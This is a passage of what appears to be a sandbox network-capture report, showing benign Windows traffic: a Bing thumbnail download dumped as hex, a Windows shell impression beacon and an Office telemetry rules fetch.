2024-12-08 16:45:49 UTC	8192	IN	Data Raw: 7d d0 bb d7 4c 6a 4a 8b d7 63 65 55 eb 19 21 da a2 5b 5a ff 00 c7 d4 92 2b 2f f7 3e 65 ab 7e 11 d4 ec fc c7 f2 fc fd c8 fb 76 3f f4 ab 3a 7e 92 ba b5 ab b5 d7 96 cc ff 00 7e 1d ff 00 36 e1 de b9 7b a8 2f b4 1d 4a 65 58 24 f2 59 ff 00 d1 df ff 00 65 6f 7a e4 a7 28 56 bd 29 bf 78 e4 8c 3d a2 7d cf 4a b7 b9 76 d3 5e 38 63 8f 73 3e e7 fe f5 74 bf 0c 7e 27 6a 9e 04 d4 59 ac ad 3f 73 3f ca d1 3b b6 d7 f7 c5 79 f7 86 f5 5b 9f b2 a3 34 7f 37 fb 75 7b 56 dd 7b 03 c9 6b 26 db 8d 9f 72 b0 a1 52 74 aa d9 bd 0c ec a6 94 27 b7 4f 53 ee 3f 84 ff 00 10 74 7f 1b 69 3e 75 ac f1 ad d2 7f ae b7 2f f3 27 ff 00 5a bb 5a fc f1 f8 49 e3 3b ff 00 0d 78 b2 de f6 09 de 36 81 ff 00 7c 17 f8 e3 dd f3 2f e5 5f a0 1a 2d f5 be a5 a5 5b df da b8 92 1b 98 96 44 75 fe 25 22 bd e6 af 14 cf Data Ascii: }LjJceU![Z+/>e~v?:~~6{/JeX$Yeoz(V)x=}Jv^8cs>t~'jY?s?;y[47u{V{k&rRt'OS?ti>u/'ZZI;x6\|/_-[Du%"
2024-12-08 16:45:49 UTC	8192	IN	Data Raw: d6 e2 9d f6 8a 02 f7 2c c7 52 9a a7 e6 ad 1e 78 a0 0b aa cb 49 55 3c ef 7a 5f 3e 81 df b9 61 85 0a 9b aa af 9e ad 53 2c f4 08 b0 b1 2d 4b 1c 6b 50 47 37 f7 aa 68 e7 5a 4c ab a2 78 d1 6a 68 c2 d5 65 9d 69 7c fc 52 17 32 2e ae da 99 4a d6 5b 5e 46 92 6d 6b 88 d5 bf b8 ef 52 2d cf ee f7 2f cc bf df a1 a6 25 56 0f 66 be f3 51 59 69 ea 56 b9 eb ef 10 e9 16 52 3a de 6a 56 b6 ed 12 6e 74 79 d5 5b 6d 79 9e b9 fb 46 f8 42 ca 79 a1 b3 b4 be bf f2 9f 6a 3a 6d 55 7f 5f bd 47 2b 31 fa d5 3b d9 3b bf 2d 7f 23 db 95 e9 19 d6 b8 af 07 fc 48 f0 af 89 74 a4 d4 34 dd 6a 0d ac eb 17 95 37 ee a5 49 0f f0 ed 35 d1 7d b3 e7 ff 00 6a 8e 56 68 aa 45 ec cd 26 7d b4 7c b5 e6 5f 10 be 30 f8 67 c2 5a c3 e9 77 91 dd 5d 5c 2f fa d4 b7 db f2 7b 1f 7a c7 93 f6 89 f0 3c 7e 53 2a 6a ad e6 Data Ascii: ,RxIU<z_>aS,-KkPG7hZLxjhei\|R2.J[^FmkR-/%VfQYiVR:jVnty[myFByj:mU_G+1;;-#Ht4j7I5}jVhE&}\|_0gZw]\/{z<~S*j
2024-12-08 16:45:49 UTC	8192	IN	Data Raw: 00 81 e9 ab 60 cf 74 8d 6b a9 ea 51 2f de 78 52 7f dd 54 c9 4a a6 af fe 01 d0 b0 f2 9b ba 6a ff 00 35 fa 1d 95 bd c7 95 bf cb 8e 3d bf df d9 52 35 eb 79 69 27 d9 3c d9 15 fe 4f e1 ac bd 36 68 22 8f c9 9a 79 15 9a af 37 9b f7 76 6e 5f ef d7 34 a3 6d cc e5 14 9e a6 c4 91 5a 5d 6c 69 24 92 26 ff 00 63 e5 6a cb f1 17 86 f4 fd 46 0d be 7c 8a ca ea db d2 4d b2 ee 1d 2a 18 cc ed f2 f9 92 33 6f f9 37 ff 00 05 3a e2 f6 f2 08 f6 b4 7b 96 b3 4a 51 77 8b d4 17 35 f4 23 f3 27 b7 7d b2 4f 1d c4 7f dc 7a e4 fc 49 73 e7 c3 76 d1 c7 1a c2 ae bf 23 ff 00 05 74 72 2a 6a 36 b3 2a cf e7 c6 d5 ca eb 10 4f a1 a3 c9 e4 4f 79 0f fe 81 9f e9 5d 34 5e be 63 5b e9 f7 14 26 4b 69 64 fb 52 fc d2 5b ed df 0f d7 bd 3e ea d2 7b ab 1d b6 b7 f1 db b3 7f 04 df c7 58 d6 f7 be 56 aa 8d e5 ff Data Ascii: `tkQ/xRTJj5=R5yi'<O6h"y7vn_4mZ]li$&cjF\|M3o7:{JQw5#'}OzIsv#trj6*OOy]4^c[&KidR[>{XV
2024-12-08 16:45:49 UTC	8192	IN	Data Raw: 9d 9e fa 1d 6d a8 9e ea c5 da f2 7d bb 9f fb f5 05 d4 57 31 e9 b0 fd 9e ff 00 74 68 fb 77 c3 f7 9f eb 58 9a b7 88 99 e0 7b 7b 58 f6 ee ff 00 c7 ea 5d 2e 2d 6a e2 44 86 18 37 49 b3 fd 4a 3d 73 3a 73 8a bb d1 0a cd dd 28 e8 5a d4 2e 67 82 4f 2d 7c f6 56 fb f4 f9 34 b6 97 4d 49 26 9f e6 64 f9 12 a7 b8 b0 d4 2e 27 86 de ea 09 15 97 ef ba 7f 07 e1 51 ea 91 cb 2c 9f d9 b6 f1 ce d3 37 fc b6 74 fb 95 31 96 8b 95 ea 54 60 ad b6 a5 cb 58 6e 6e a3 f2 56 fe 08 b6 a2 ae cf f6 7d aa d6 9b a5 69 8f 3b f9 d1 ec 55 4f df 5c 6f fd 28 b3 d1 a0 fb 3c 30 dc 49 f3 2f cc fb 1f e6 dd ed 50 78 c2 68 2c 7c 98 6c 64 91 19 7f db dd bf ff 00 af 51 cc e5 a4 41 be 55 7d 1b 33 75 e8 b4 cb 5b 8d d6 73 fd 9e df f8 21 df f3 6d ff 00 eb d4 d7 5e 21 b1 8a 14 b7 f2 27 db b3 e4 74 7f 4a e4 35 Data Ascii: m}W1thwX{{X].-jD7IJ=s:s(Z.gO-\|V4MI&d.'Q,7t1T`XnnV}i;UO\o(<0I/Pxh,\|ldQAU}3u[s!m^!'tJ5
2024-12-08 16:45:49 UTC	8192	IN	Data Raw: 12 ba ec 2e 54 75 5a 3c bf 6a 8f cc 58 fe 6a c7 f1 b5 f4 bf 6a fd cf f0 fd fd 95 a5 a5 8b c8 ad 76 b7 f0 a2 b7 c9 5c d6 b8 ac b3 bc 9b e4 66 97 ef d7 15 15 17 57 c9 0a 57 6f 6d 0a 73 5e b4 d2 3f 99 f2 ad 49 0e d6 f9 bc fd db 7f 87 cb ac cb 84 db 26 d5 93 73 6f fb 95 b1 a4 e9 d3 b4 1f 34 91 ed 6a f4 a5 18 c2 21 a7 71 d7 5e 6c fb e4 67 db 6e a8 bf c1 f3 56 4e a1 04 b1 49 b9 bc bd cb f3 57 49 6b 6d 2d bd af 97 e6 46 cd bf 6a 27 f0 d6 3f 8b 20 58 ae fc bf bc cd fd ca ca 8d 44 ea 72 ad 82 2f de b1 cd b5 dc b1 5d 3a b4 92 2c 72 fd fd 95 59 ae 19 24 f3 23 f9 96 ad 5e 41 17 f1 79 9b aa 2b 1d 3e f2 f6 6f b2 da c1 ba 46 af 62 32 82 8d d9 af 22 d0 6c 33 cf 24 9b 96 3f fb e2 ac 79 b3 f9 7b 7e ea ff 00 b7 5d 66 87 e1 56 b7 f9 be df 04 ac af f7 11 37 36 ea 6e b5 e1 75 Data Ascii: .TuZ<jXjjv\fWWoms^?I&so4j!q^lgnVNIWIkm-Fj'? XDr/]:,rY$#^Ay+>oFb2"l3$?y{~]fV76nu
2024-12-08 16:45:49 UTC	8192	IN	Data Raw: 7a ff 00 17 dc ae ca 1f 0d f8 85 64 db f6 49 f7 2f f1 bb d4 d1 e8 fe 33 8a 7f b5 5b c1 23 7c 9f df ac aa 66 53 92 b2 92 44 de 52 45 3b 5d 03 fb 2e 0d df bc dd b3 f8 eb 98 f1 75 cf ef fc cb 3f 3e 56 5d bf 24 28 d5 d7 dd 68 de 35 bd ba 46 b8 8f 6c 8b f7 3e 75 db 53 69 be 1e f1 55 af fc b3 91 77 7f 71 3e fd 73 53 c4 aa 6f 9a 53 4d f6 b8 a3 19 c5 6b f9 98 7e 17 b6 9e 7d 35 3e dd 24 8b 23 27 dc fe e5 6a 7f c2 21 14 f1 ee 58 e4 ad 09 2e fc 51 a6 7e f2 4d 16 76 8f fe b8 6e a7 37 8c f5 7f 2d 21 92 08 2d fe 75 fb f0 7c cf ed 4a 55 aa 49 b7 1d bd 48 94 6a 45 ea 86 f8 77 c3 4b a7 47 e4 db c1 26 df bd f7 3e 5a ea ac ec 3e cf 1f cd f7 ab 2e c7 c5 73 b5 df da 2e 20 8e 2b 7d 9b 76 43 1f df f7 ad 66 f1 8e 82 90 7e fb cc dd b3 ef a4 7f 2d 70 57 75 e5 b2 b8 a2 db 5a 21 de Data Ascii: zdI/3[#\|fSDRE;].u?>V]$(h5Fl>uSiUwq>sSoSMk~}5>$#'j!X.Q~Mvn7-!-u\|JUIHjEwKG&>Z>.s. +}vCf~-pWuZ!
2024-12-08 16:45:49 UTC	8192	IN	Data Raw: 3e a9 7d fd a9 3e ad a0 df 68 57 d1 47 12 79 4f 70 9f f2 c6 4f f6 ff 00 fa d5 27 c3 9f 08 59 e9 ba e4 d2 5e 6a 7b 99 93 6e cd 9b 7f e0 7b 4d 7b 0b 0f 46 95 2e 49 b6 d7 7f 53 b2 51 8c 61 ef bd 8e 92 c7 55 d3 1e 4f 9a 3d db be e7 93 1e e6 a9 b5 4b bd 32 0f de 4d f6 af ef 6c 4d ab f2 d4 71 e9 71 5b f8 ab ec 32 58 5f 25 8f d9 f7 4d a8 a6 dd bb 8f dd db 8a 6d d6 81 a3 bd d7 cb a9 49 ba dd 37 3c 2e 9b a5 99 7f d9 fe f7 d2 b9 16 17 06 dd ed 2e 53 3f 67 4a dd 7d 4c df b5 b4 f3 a4 da 4e 85 1b 46 c9 fe b9 fe 66 ad 2b 59 25 48 ff 00 d3 b4 59 fc cf fa 63 4e 86 f6 ce 58 fe cf 6b a4 ea 2d 6f 13 ed 77 4b 1d bf 37 f3 ab 6b 61 3c f0 79 d1 da 6e 8f fe 58 a3 ba ee ff 00 be 49 fe 74 4e 9d 39 2b 2a 76 fb c9 92 56 da c4 b6 f6 70 34 e9 b6 39 17 77 f1 ef ab 0b a6 33 7c cb 24 1f Data Ascii: >}>hWGyOpO'Y^j{n{M{F.ISQaUO=K2MlMqq[2X_%MmI7<..S?gJ}LNFf+Y%HYcNXk-owK7ka<ynXItN9+*vVp49w3\|$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.6	49841	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:49 UTC	346	OUT	GET /th?id=OADD2.10239360494466_1NE7RS5P7DA5W3Y3W&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-12-08 16:45:49 UTC	856	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 491307 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: B038EADC498348668D7E58690C20F9B4 Ref B: EWR311000103019 Ref C: 2024-12-08T16:45:49Z Date: Sun, 08 Dec 2024 16:45:49 GMT Connection: close
2024-12-08 16:45:49 UTC	15528	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 da 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 34 2e 32 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 30 33 3a 32 36 20 32 32 3a 31 36 3a 35 31 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 04 38 00 00 a0 03 00 03 00 00 00 01 07 80 00 00 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 Data Ascii: JFIFHHExifMM*bj(1r2i``Adobe Photoshop 24.2 (Windows)2023:03:26 22:16:518C
2024-12-08 16:45:49 UTC	16384	IN	Data Raw: b1 29 19 16 8e 61 34 8c 96 b6 db 51 f9 15 b2 d1 ad 37 ec eb e9 4d 48 2d 73 29 62 7a 92 38 33 5a 2d 02 d0 b1 aa 51 71 e8 8a 4b 06 da 5f 2b 6d 5f c4 55 cc 7c 4e f1 96 91 e0 af 0f be a5 aa 49 f2 b7 cb 0a 27 de 76 f4 a6 b5 31 ab 5a 9d 25 79 33 63 ca aa 9a b5 ed 8d 84 7f e9 17 70 44 db 3e 44 77 55 df 5e 03 e2 8f da 46 7b cd 35 ed 74 9d 16 4b 39 9b e5 49 9e 4d db 2b c7 fc 59 e2 bd 57 c4 3a 8f db 35 4b f9 e7 99 bf bf 25 37 68 ee 72 3a d5 ea 3b 42 36 5d df f9 1e d1 e3 6f da 16 7b 1d 46 6b 1d 3f 42 81 9a 27 65 77 9a 7d df fa 0d 78 2e bd a8 dc ea 9a 95 c6 a1 71 24 8d 24 ee cc fb fd ea 1d cd 2b d4 7e 4b d2 75 2e 5d 2c 3c 60 f9 9d dc bb b6 57 69 25 11 fc b4 d5 f9 53 74 91 d5 d5 85 97 ef 54 ad e4 24 7f 35 4f b4 be 86 f7 5d 0c b5 45 6f 99 68 87 4e 57 93 cc 9b fe f8 ad Data Ascii: )a4Q7MH-s)bz83Z-QqK_+m_U\|NI'v1Z%y3cpD>DwU^F{5tK9IM+YW:5K%7hr:;B6]o{Fk?B'ew}x.q$$+~Ku.],<`Wi%StT$5O]EohNW
2024-12-08 16:45:49 UTC	16384	IN	Data Raw: b2 a8 93 cb 6f 99 96 9d 4a 56 2a 4e cb 73 67 c5 57 d6 76 9a 54 2b 71 1f ca df 73 67 de 4f c2 b8 7b ad 7e fa c3 52 db 6f 71 fe d6 c7 ad 6b ab 99 f5 29 de 1b ef 2e 58 57 f8 d3 e5 ae 5b 52 b2 65 d4 96 45 79 15 55 d7 e7 7a db 0b 4e 1f 6d 6a 4a a6 a4 f9 a7 d4 ea b5 2f 12 de 34 08 b3 58 4f 6f 36 cf e3 4d bb fe 95 85 6f 73 3b f9 d7 4b 24 71 6e f9 5e 1f e2 db 5a 5a e6 bf a8 eb 72 79 d7 1e 5e d5 f9 51 eb 9a b8 fb 63 47 36 e8 f7 6d fe 34 ad 68 52 56 d9 26 35 05 7d b5 16 f8 d8 98 ff 00 77 f7 9a ac 2d 84 b0 68 7f 6c 5d 8d 1e ff 00 e0 fb db 6b 15 47 ee d3 6b fd ef e0 ad 69 2f 76 58 a2 c3 26 d5 d9 b6 6f f6 d6 bb 24 a5 1b 24 cd 76 ea 6f f8 5e fb 4f 7d 2a 6b 3b c8 f7 47 2a 7d ff 00 ee 35 6c 68 af 62 b1 a4 72 5a 49 13 7f 03 bf f1 d7 2b e1 9b cd 3d ee be cf 27 cb 1c a9 b7 Data Ascii: oJVNsgWvT+qsgO{~Roqk).XW[ReEyUzNmjJ/4XOo6Mos;K$qn^ZZry^QcG6m4hRV&5}w-hl]kGki/vX&o$$vo^O}k;G*}5lhbrZI+='
2024-12-08 16:45:49 UTC	16384	IN	Data Raw: ae 83 1c a9 3a 43 27 9f e6 37 cd f6 77 46 56 75 ad bf f8 47 b5 37 8d 7e c7 a4 ea 57 50 cb f7 1e de d5 9b 63 56 52 e5 84 ae d8 95 09 49 ed 73 9c f2 a7 96 d5 d6 49 3e 6a 89 74 e9 5a d7 6c 73 c6 db 3e e6 fa e8 a6 f0 1f 8f 44 9b ad fc 27 ac cb bb fe 9d 5a 96 d7 e1 9f c4 f7 93 f7 7e 08 d5 7e 6f f6 2b 58 e2 69 2b fe f1 7d e8 7f 57 af d2 3a 1c 4b 1b 98 ee 9e 3f de 2e da d2 d2 ee d9 bf 77 71 f3 2d 7a 4d 8f c1 6f 89 77 d0 6e 93 c2 72 45 27 fd 3c ba ad 51 b7 f8 09 f1 67 cc 7d de 1a db fe fd d4 74 fe bf 84 9a b4 a7 14 fd 4b 78 6a 9d b5 f9 1c 5e a8 20 58 11 ad d3 6e df bf 59 97 d1 c1 e7 a3 2f 99 f3 7f 1d 7a 9c 7f 02 be 28 c1 1b 79 9a 34 0a bf df 7b e8 ea c5 9f ec e7 f1 1a f7 65 c4 d2 68 eb 1c bf 37 fc 7d 56 71 cc 30 d0 de a2 b0 42 8d 55 be 9f 34 79 ed ad bb 4b 1f fa Data Ascii: :C'7wFVuG7~WPcVRIsI>jtZls>D'Z~~o+Xi+}W:K?.wq-zMownrE'<Qg}tKxj^ XnY/z(y4{eh7}Vq0BU4yK
2024-12-08 16:45:49 UTC	16384	IN	Data Raw: 5a 23 ff 00 17 af fb 35 e2 7f 19 a7 63 7d fd 9e df 7a 2d ac 8f fc 5b 6b bb 09 2a 9e d7 d9 ce fa 7e 46 12 ba bd 99 c6 ae 90 bf 61 49 26 9e 45 56 fb ff 00 dd a2 ab 6a 1a 8c f3 da 25 9a fc b4 57 d0 28 c9 90 a5 7e 87 dd 7e 19 f1 ed 9d 85 a5 be 9b a9 4f 07 da b6 2a cc ef fd ea d8 d5 3c 69 a2 db 47 e4 dc 4f 62 db be e2 27 cd 5c 2f 85 7e 1f 5a f8 ab c3 96 fa b5 af 89 6d 3c bb f8 7c d4 d9 1e e6 4f f6 6b 2a e3 e1 47 8a 34 e4 b8 58 e0 9e e2 35 7f dc bc 3f 35 7e 7b 28 61 1d 47 ef 5a c4 54 c3 ca 53 77 95 bf ae 86 77 8e 3c 45 6c be 75 e4 3e 5a b7 9c ca f6 e8 9f 2f b1 ae 6a df 58 96 fe 0f df 47 f6 36 57 fe e7 df 5a a5 ae 6a 97 3a 75 d5 de 8b 7d 69 fe 90 bf 7f 7a 6d 6d d5 ca ff 00 c2 51 3c 17 5e 4c df 36 df fc 72 bd 2a 54 79 e3 ee ea 63 18 a5 65 ab 3e 80 f8 1f a2 59 de Data Ascii: Z#5c}z-[k~FaI&EVj%W(~~O<iGOb'\/~Zm<\|OkG4X5?5~{(aGZTSww<Elu>Z/jXG6WZj:u}izmmQ<^L6rTyce>Y
2024-12-08 16:45:50 UTC	16384	IN	Data Raw: a9 f8 91 f0 f3 48 b7 ba 6b ab 3d 5a e9 a3 6f 95 ed f6 2e e4 ff 00 76 ac 78 5f 4c 8a 5f 0e 5a 43 71 61 25 bb 45 fb ad 9f c4 f8 e8 c6 a3 15 59 51 86 da 9c 75 22 e3 06 e0 93 67 8c 78 9b 4e 7d 2e 4d b6 f2 49 2e df ef ff 00 1d 72 da 84 70 5c 7c cd 69 ba 4f f6 2b e8 ef 15 78 1b ed 52 7d a3 ec 9b a3 5a e7 17 e1 7e ed 4a d2 e2 c6 d2 4f 9b ff 00 1c ff 00 78 51 87 cd 29 db de 26 85 aa 69 66 7c f1 ab 47 2d 9f cd 63 05 d2 ab 7d fd e9 f7 3f 1a 77 83 46 ab 3d f3 c9 6e 93 ca cb f3 7c 9f c1 5f 53 49 e0 2d 72 0d 91 b6 9b 69 a9 46 bf 37 d9 ee 3e 5f fb e6 b7 fc 37 a6 69 49 3e e9 3c 2f fd 8d 37 dd 74 78 17 e7 ff 00 81 0e 1a bb a3 99 42 70 69 2d 5f 73 aa 9e 12 8a 7a b7 7f eb a9 e4 df 0a 60 d5 6f b5 cf b2 de 6a 57 56 b6 72 db fe fa 68 76 ee 46 1f 76 bd eb c2 a9 a7 e8 96 3e 73 Data Ascii: Hk=Zo.vx_L_ZCqa%EYQu"gxN}.MI.rp\\|iO+xR}Z~JOxQ)&if\|G-c}?wF=n\|_SI-riF7>_7iI></7txBpi-_sz`ojWVrhvFv>s
2024-12-08 16:45:50 UTC	16384	IN	Data Raw: ed 51 fc 29 f1 3b eb 7e 20 99 75 eb b9 e5 58 91 7e cf 0f f7 16 b8 e7 82 5a d4 e5 d5 1a d0 94 25 51 d3 db bb 3a ab 8f 16 df 68 76 3e 74 df bf 86 5d bf 7f f8 16 a8 6b 1e 27 b6 d5 34 3f 32 3f dd 34 a8 df 73 f8 2b a3 f1 e6 9d e0 7d 47 c3 2d 1b 5d c7 15 c5 c7 fb 6c ad b8 74 f6 ae 2a df c2 12 ff 00 65 2c 91 c9 1d c4 2b fb a4 85 3e f7 fb d5 74 a4 92 5c fa 33 5a 94 d5 4e 7e 57 7b 74 38 3f 10 6b 31 35 f6 d8 67 fb bf 7f 65 77 3f 09 fc 6b af 4b ff 00 12 b8 74 5d 4b 59 5d ff 00 b9 f2 93 73 7d 33 54 34 7f 85 d7 d7 ba c4 30 c9 1c 71 47 2b ed de f5 ee ba 1e 8e be 00 d0 12 ce 1f dd 6e 7d ae e9 fc 7f 8d 6f 89 c5 52 8f 2d 38 ab b6 69 87 c1 72 d3 75 2a 4b e4 ba 9e 63 e2 af 85 fe 27 f1 1f 8b ad 3c 40 da 4c 1a 33 45 b5 9e 1d 47 6b 33 e1 bf 89 56 ba d8 7f 67 fd 16 7f 11 27 88 Data Ascii: Q);~ uX~Z%Q:hv>t]k'4?2?4s+}G-]lte,+>t\3ZN~W{t8?k15gew?kKt]KY]s}3T40qG+n}oR-8iruKc'<@L3EGk3Vg'
2024-12-08 16:45:50 UTC	16069	IN	Data Raw: 1a 7f 5f a5 71 da 92 58 be f6 5f ba bf c7 5b 42 a3 6b 54 67 ee bf 85 99 0a 69 f1 bd 39 60 dd 26 e5 fb b5 24 36 d2 b7 dd ad 1b 42 4a e3 61 2f 5d 5f 86 53 7c 7b ab 27 4b d1 ee 67 93 72 c7 5d ef 83 fc 2d f6 8f 0f cd 79 e7 ff 00 cb 6f 2b fd c6 ae 3c 46 22 30 89 d5 46 8f 35 cf 43 f8 2f 70 d3 c6 96 eb e6 4b b5 ff 00 7c 89 ff 00 2c 73 eb 5e c7 79 3c 5a 75 8f 99 34 9b 61 54 fe e6 ef 96 be 75 f0 3e af 3f 83 fc 68 97 50 ff 00 a9 54 f2 ae d3 7f ca eb 5d d6 a5 e2 5d 4e eb 58 7b e8 75 2f 2a d7 ef 22 3c 0c bb 3f dd af 1a a4 e2 e5 cc 7a 2f 9f d9 c6 31 5d 0f 71 fd 9a 7e 24 d9 df 78 65 f4 bd 36 ee 4b 5d 53 4d bb 9a 78 77 fc bf 6a 8f 77 dd fa d7 d6 9e 05 d7 60 f1 27 86 6d f5 05 f9 5d d7 f7 a9 fd c6 15 f9 85 f0 df 5c bc d2 3c 7f 71 24 9f ba 56 b9 fb 75 bb a7 fe 3d 8a fb e3 Data Ascii: _qX_[BkTgi9`&$6BJa/]_S\|{'Kgr]-yo+<F"0F5C/pK\|,s^y<Zu4aTu>?hPT]]NX{u/*"<?z/1]q~$xe6K]SMxwjw`'m]\<q$Vu=
2024-12-08 16:45:50 UTC	16384	IN	Data Raw: 91 7f b8 ff 00 7e b5 3c 1b e3 cd 06 ea d6 5b 1d 6a ef ec ac c9 f2 3e cd d5 e7 31 cb 3d ec 7f bc de cd f7 77 d6 a7 87 fc 17 3d c7 ef b5 2f 32 ce df ef 7e f9 36 b3 fd 33 58 ca 34 a2 bd e1 f3 4a fd 8f 6a f0 1e bd 6d 61 a6 ba c7 3c 7e 4e ff 00 f4 7f 93 fd 72 9f 53 5d 76 bd 7f 62 9a 6d bd c5 9e ad f6 79 3e 5d f0 a4 eb e5 6e 3f c0 c3 da bc 72 fa f3 4f d2 fc 17 69 36 97 3c f2 da da bb 41 f3 fc db 1a bc eb 52 f1 3d cc 5a c7 9d 6f 27 9b b7 ee 7f b6 de b5 e1 c7 2d fa cd 49 49 68 8e 7a 94 6f 2b a3 e8 af 15 78 7f 55 d4 3c ed 5a f2 78 ef ed e5 45 57 85 df c8 f2 64 ed b7 fb d5 e4 be 20 d6 75 cb 0f 11 df 78 67 ec 1f bc b8 75 f9 d3 fd 6e dd bf 75 6b 0f c5 1f 10 fc 4b a8 da 5a 34 d7 fb 9b 7f 9b f2 7c bb 1b e9 56 34 5f 10 3c f7 d6 5a c4 d1 cf 79 a9 5a bb 33 bc df c6 a5 76 Data Ascii: ~<[j>1=w=/2~63X4Jjma<~NrS]vbmy>]n?rOi6<AR=Zo'-IIhzo+xU<ZxEWd uxgunukKZ4\|V4_<ZyZ3v
2024-12-08 16:45:50 UTC	16384	IN	Data Raw: fa ea 16 d3 cf 14 2b e6 5b ff 00 7e 6d ff 00 7e b4 2c ff 00 b3 3e 76 9a 7d cd 58 36 ba 63 ae 9a f2 49 27 cd fd ca aa c9 3a 4e 96 fe 66 da c5 c5 37 63 b2 32 76 f3 35 bc 41 a8 44 b0 3a c3 f2 ae fd bf 25 67 d9 ea 97 d6 f0 6e d3 e7 da df fa 07 d2 98 d0 4e b1 fe f1 3f 77 fc 1f de ab fa 7c 70 4b 75 6f 6b e5 ed dc ff 00 3b ec ad 14 b9 56 88 5e cb 9d d9 bd cc fb 81 ad 5e 47 0c 97 90 6e 8d bf 8f fb f5 5f 49 b0 64 d5 13 77 ca ab f3 3d 77 33 47 2b 5d 7d 96 d6 38 d7 ca 4f be ff 00 75 2b 19 b4 dd f2 6e b7 8f 74 9f 79 e9 53 ae ee d6 c8 53 a6 a3 66 91 d0 68 ba df d8 e3 46 f2 e3 6d bf df a9 a4 d7 35 7b e8 f7 4d 24 0b 0a ff 00 df 4f 58 3b 36 40 8c be 5f fb 8f fc 15 93 ab 6b b2 c3 be dd 63 92 5f f6 d2 a6 8c 39 a5 ca 45 69 24 b9 96 a7 61 26 b5 fd 9f 32 47 34 9b 9a 5f ee 53 Data Ascii: +[~m~,>v}X6cI':Nf7c2v5AD:%gnN?w\|pKuok;V^^Gn_Idw=w3G+]}8Ou+ntySSfhFm5{M$OX;6@_kc_9Ei$a&2G4_S

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.6	49842	20.234.120.54	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:49 UTC	603	OUT	GET /v1/a/impression?CID=128000000001615609&region=CH&lang=EN-CH%2CEN-GB&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.19041.1023&mo=&cap=&EID=&&PID=426081542&UIT=M-&TargetID=1&AN=1257493487&PG=PC000P0FR5.0000000IRU&REQASID=7DBFED328BEF47389AA333772CFE252C&UNID=338389&ASID=556f384a579c4323a2cd36d3302ba8a7&&DS_EVTID=7DBFED328BEF47389AA333772CFE252C&DEVOSVER=10.0.19045.2006&REQT=20241208T164505&TIME=20241208T164534Z&ARCRAS=&CLR=CDM HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2024-12-08 16:45:50 UTC	183	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 0e1f8400-e584-4163-bf4c-cf220613aa34 Date: Sun, 08 Dec 2024 16:45:49 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.6	49844	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:45:50 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:45:51 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:45:50 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 42d07f15-f01e-0099-5306-489171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164550Z-r1cf579d778mvsklhC1EWRkavg00000006800000000009ep x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
